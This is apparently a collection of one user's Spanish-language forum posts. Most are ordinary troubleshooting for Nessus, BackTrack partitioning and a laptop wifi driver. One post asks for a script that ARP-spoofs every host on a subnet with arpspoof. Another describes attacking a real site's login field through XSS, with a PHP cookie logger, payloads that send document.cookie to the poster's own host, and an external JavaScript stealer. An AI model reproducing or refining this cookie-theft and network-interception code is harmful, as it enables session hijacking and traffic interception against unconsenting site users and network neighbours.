Mensajes

[192.168.0.102]

Perfecto, 1ero que todo darte las gracias por que los demás moderadores no son así  
tu ayudas, no me sugieres google ni aprender a codear sin darme una solución xD

Bueno creo que el código que necesito podrá ser de ayuda para muchos
el comando que necesito ejecutar es una herramienta del pack dsniff:
el comando realiza un envenenamiento de ARP (man in the midle) pero seria mucho más comodo que el comando cubriera todas las conexiones por decirlo de un modo.
el comando a seguir es:

arpspoof -i interface -t ipdecliente ipdelrouter

en mi caso sería así

arpspoof -i wlan0 -t 192.168.0.102 192.168.0.1

el problema surge en que la ipdelcliente se puede enviar una sola, siendo lo ideal desde 2 hasta 255 (192.168.0.x) x=2 hasta 255

*al ejecutarse tal programa la consola en que se lanzó queda inutilizable, ya que está constantemente mostrandonos un msj en resumen que nos afirma que se está realizando tal comando, por lo que seria óptimo para su funcionamiento del script que se pudiera ejecutar tales ordenes en terminales distintas aunque por preferencia que fuera en solapas distintas

Bueno de alguna manera te plasmo la idea para que me entiendas mejor, no se codear pero dejemos que mi idea es un esquema

x=2
PASO1
si x=255 ir a PASO2
ejecutar en una nueva consola este comando:
arpspoof -i wlan0 -t 192.168.0.x 192.168.0.1
x=se le suma +1 del valor anterior de x
ir a PASO1
PASO2
Terminar el script

Con palabras:

la idea es que se abra una consola nueva con este comando
arpspoof -i wlan0 -t 192.168.0.x 192.168.0.1
en donde x parte como dos y luego tres,cuatro así sucesivamente hasta llegar hasta 255 luego de eso se termina el script

ya no sabría como explicártelo :B
espero que lo entiendas,disculpa por complicarte por no saber codear
Gracias

[-e]

Muchas gracias por tu rápida respuesta
1)todo bien pero sabes cuando lo ejecuto me sale solo argumento:1 hacia abajo y no cambia la variable
2)otra cosa que significa echo -e y si quiero lanzar un comando debe ir el echo con -e

Muchas gracias

Bueno Hola a todos espero que estén bien, les cuento tengo un comando que útilizo en linux es más o menos así

xxxxxx 192.168.0.1

el problema surge que me gustaria para poder facilitar mi trabajo crear un variable más o menos así

xxxxxx 192.168.0.X

en donde X=son numeros desde el 1 hasta el 255

creo que es algo demasiado facil, pero no sé nada de .sh si pudieran tenderme solo esa mano se los agradeceria Muchas gracias

con otras palabras:
Tengo nessus 4, el último que está en la página para descargar, este lo inicio desde el navegador web (localhost), el problema surge que cuando se carga la página del cliente nessus por modo web (pantalla azul en donde aparece login y pass) a la derecha del navegador no aparece la barra para subir o bajar la página de nessus por lo que me incomoda al momento de utilizarlo desde mi netbook ya que su pantalla es pequeña. El problema no surge por el navegador siendo este firefox ya que en todas las paginas incluyendo esta me aparece tal barra, tampoco he cambiado la resolución desde el navegador ni mucho menos desde la configuración de sistema, el sistema operativo no influye en nada ya que aquí el problema es que la pantalla de mi netbook es pequeña, esto me ha pasado bajo windows xp, windows 7,backtrack,debian. cabe destacar que he echo el mismo proceso de instalación en notebook o PC y este me muestra completamente el modo web de nessus debido a que las pantallas son más grandes claramente tampoco aparece tal barra y estoy seguro que en su nessus tampoco el problema es como agregarlo o si hay una forma para poder desplazarla para poder visualizarla completamente
(La solución que me doy por el momento es conectar mi netbook a un monitor para que así la rel
solución se ve más grande y logro visualizarla completamente, pero es un poco tedioso tener que conectar mi netbook al monitor cada vez que quiera visualizar el programa :/)

espero haberme explicado mejor gracias

Bueno el software depende bajo que sistema operativo tienes pensado montar tu servidor del smtp, la cantidad de mail que se puedan almacenar dependerá del espacio de tu disco duro que posea tu servidor(aunque un mail pensado que es un texto no deberia consumirte casi nada espacio), pero la cantidad de flujo de envio dependerá de tu conexión a internet pero retomando lo de que son simples textos deberia haber un flujo extremadamente gigante para que se pudiera saturar tu servidor (considerando una velocidad standar de banda ancha que hoy existe)

Saludos, si me he equivocado en algo que alguien me corrija

Hola a todos bueno les cuento el pequeño detalle más que nada
nessus me va de lujo en un PC de casa pero en mi netbook.. usando debian no me aparece el
"subir y bajar de página" dentro del scanneador, esto también me sucede en windows 7 por lo que descarto que sea por el Sistema operativo, mi pregunta se puede de alguna manera solicionar esto
mi idea sería editar la página flash del nessus, si es así adonde se encuentra, no manejo mucho linux
desde ya muchas gracias

Hola a todos espero que estén muy bien, bueno les cuento decidí denuevo instalar el backtrack pero esta vez en otro computador que tengo (netbook acer aspire one)
el problema me surge que el instalador manual me da problemas por lo que decidí instalarlo manualmente, pero el problema surge en:
Windos genera dos discos duros uno el del sistema y otro de 100mb que es para el boteo por lo que me quedan 2 particiones primarias (tengo entendido que el máximo son 4) por lo que me surge que no puedo instalar una de raiz,home y swap
no recuerdo como lo hice anteriormente, si me pudieran ayudar se los agradeceria
gracias

[vulnerabilidad xss]

Hola a todos bueno les cuento estaba un poco aburrido y se me ocurrió indagar un poco y retomé con los xss y encontré una página con una vulnerabilidad xss
pero no en su buscador si no que en una parte para hacer login (Exactamente en la ID)
al momento de logearme erroneamente (poniendo una ID falsa y una clave) me marcaba el usuario xxx no existe, por lo que probé con codigos htm y walá tenia xss
así que preparé el escenario.. Subi mi cookie.php (http://lapaginaquetengo.com/cookies.php) con el siguiente código

Código [Seleccionar] Expandir

<?
$cookie = $_GET['cookie'];
$fff = fopen("datos.txt","a");
fwrite($fff, "$cookie \n");
fclose($fff);
?>

la petición:

Código [Seleccionar] Expandir

http://paginaconxss/cmol2008/serv/Iconsystem.Login?P_USUARIO=<script>window.location='http://paginamiaconcookie.com/cookies.php?cookie='+document.cookie;</script>&P_PASS=default&Submit=Aceptar

Pero al hacer las pruebas me Devuelve:

java.sql.SQLException
ORA-00907: missing right parenthesis

Y peor no se crea datos.txt con la información
La página tiene centos,está bajo Oracle y apache 2.2.3
Espero su ayuda muchas gracias por tomarse el tiempo de leer

EDIT:Buscando por internet, lei algo como colocar esto:

Código [Seleccionar] Expandir

<script src=Http://host.com/javascript.js></script>
Cuando cargo la página introduciendo el script que mencioné anteriormente me sale que está cargando host.com/... por lo que creo que este método es factible corriganme si me equivoco, pero el problema surge en ¿que codigo.js debo colocar para poder adquirir la cookie del visitante?, si alguien me lo pudiera explicar se lo agradeceria, muchas gracias

EDIT2:
Encontré un codigo en js
hice lo siguiente:

Código [Seleccionar] Expandir


<script language="javascript">
document.location="http://paginaquetengo.com/cookies.php?cookie=" + document.cookie;
</script>                                                                          

1-Lo guardé como login.js en http://paginaquetengo.com/login.js
junto con el cookie.php que anteriormente mencioné (http://lapaginaquetengo.com/cookies.php)
2-introducí en la página prueba:

Código [Seleccionar] Expandir

http://paginaconxss/cmol2008/serv/Iconsystem.Login?P_USUARIO=<script src=http://paginaquetengo.com/login.js></script>&P_PASS=default&Submit=Aceptar

Carga diciendo usuario no existe, verifico mi página pero esta no tiene el log (la página tiene la opción de escritura habilitada)

Espero ansiosamente su ayuda gracias x.x

Disculpa por la demora, ya está solucionado... el problema fue una mala cinfiguración de la bios en el boot lo que hice fue dejarla default por si a alguien le sucede
Saludos

[packard bell dot se]

Hola a todos bueno espero que estén bien les cuento mi triste y desesperada historia
Hace un poco un familiar mio adquirió(nuevo) un packard bell dot se
es uno rozado pueden verlo a continuación


noté que traia windows seven starter (en este todo corria a la perfección), por lo que le instale el windows 7 últimate
(instalé ese SO por que esa pc no es mia)
el problema surgió cuando empezé a buscar el driver de wifi al momento de instalarlos queda la luz del wifi naranja (siendo que esta debería ser azul),en otras ocasiones parpadea una luz naranja(cuando instalaba driver de versiones más antiguas),de las dos formas no reconoce ninguna red wifi,enumero lo que hice:

Edito:En dos ocasiones reconoció el wifi al reiniciarlo pero este se me cayó volviendome a aparecer denuevo las barritas de wifi con una cruz roja

1-busque al reverso el modelo del widi y sale : WLAN module Atheros AR5B95
2-me metí en la página de packard bell para buscar el driver, lo encontré pero este NO funcionó
se llamaba: Wireless LAN_Atheros_W7
3-fui a la página de acer buscando un modelo que tuviera la misma tarjeta wifi
4-seguí buscando por todo internet buscando versions distintas pero tamoco
5-entré a una página que estaban todos los driver de atheros de manera no oficial
www.atheros.cz creo que era esa
6-probé con el driver de windows xp,vista
7-(cada ves que instalaba el driver apagaba el wifi y después lo prendía)

Noté en un foro que una persona también le ocurrio,porfavor si alguién a podido solucionar eso o sabe como repararlo se lo agradezco demasiado